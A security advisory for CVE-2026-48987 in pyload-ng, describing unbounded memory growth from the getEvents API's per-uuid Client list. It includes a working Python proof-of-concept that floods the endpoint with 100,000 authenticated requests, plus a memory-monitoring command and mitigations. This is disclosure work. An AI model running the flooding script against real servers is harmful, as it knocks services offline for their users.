PT-2026-56837 · Pypi · Pyload-Ng

Published

2026-07-09

·

Updated

2026-07-09

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CVE-2026-48987

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Description:

The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.

Vulnerable Code:

https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event manager.py#L16-L17
Here the client is added to the clients list but never cleared the inactive clients.

Exploitation:

  1. Start pyLoad server (Ensure the pyload server is running)
  2. Authenticate: Obtain a session cookie or an API key (Here i used the API key).
  3. Send Requests: Run the below poc script to send a large number of requests to the getEvents API endpoint, each with a unique uuid.
python
import requests
import uuid
import time

# Configuration
URL = "http://localhost:8000/api/getEvents"
NUM REQUESTS = 100000

headers = {
	"X-API-Key" : "<YOUR APIKEY>"
}

print(f"Starting DoS attack: sending {NUM REQUESTS} unique UUIDs...")

for i in range(NUM REQUESTS):
  # Generating a new UUID
  uid = str(uuid.uuid4())
  try:
    # Sending request
    requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5)
    if i % 1000 == 0:
      print(f"Sent {i} requests...")
  except requests.exceptions.RequestException as e:
    print(f"Error at request {i}: {e}")
    break

print("Attack complete. Check memory usage.")
  1. Monitor Memory: Monitor the memory usage of the pyload process (e.g., using top, ps or the following commands).
bash
PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done
  1. Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.
https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686

Impact:

  • Denial of Service (DoS). The pyload process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.

Mitigations:

  • Invoke clean(): Call self.clean() at the beginning of the get events method to purge inactive clients before processing new ones.
  • Rate Limiting: Implement rate limiting on the getEvents endpoint to prevent a single client from flooding the server with unique UUIDs.

Fix

Allocation of Resources Without Limits

Resource Exhaustion

Memory Leak

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-770CWE-400CWE-401

Related Identifiers

CVE-2026-48987
GHSA-C2F9-4MC8-J656

Affected Products

Pyload-Ng